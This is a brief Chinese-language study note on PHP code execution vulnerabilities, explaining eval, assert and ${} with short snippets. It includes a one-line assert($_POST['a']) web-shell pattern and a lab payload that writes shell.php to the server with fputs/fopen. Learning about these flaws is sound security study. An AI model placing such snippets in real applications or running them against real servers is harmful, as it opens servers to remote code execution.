一、代码执行定义
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行
代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行
二、代码执行函数
1、eval
将字符串当做函数进行执行需要传入一个完整的语句必须以分号 ; 结尾
<?php
eval('echo "hello";');
?>
2、assert
判断是否为字符串是则当成代码执行在php7.0.29之后的版本不支持动态调用
低版本
<?php
assert($_POST['a']);
?>
7.0.29之后的版本
<?php
$a = 'assert';
$a(phpinfo());
?>
三、执行方式
${}执行代码(中间的php代码将会被解析)
${phpinfo()};
eval(将字符串当做函数进行执行(需要传入一个完整的语句))
eval('echo "hello";');
assert(判断是否为字符串,是则当成代码执行)
<?php assert($_POST['a']);?>
<?php
$a = 'assert';
$a(phpinfo());
?>
四、靶场测试
fputs(fopen(shell.php,'w'),'<?php phpinfo();?>');
- fputs() 函数写入文件,是 fwrite() 函数的别名
- fopen() 函数打开文件或者 URL,“w”:写入方式打开,将文件指针指向文件头并将文件大小截零。如果文件不存在则尝试创建
成功创建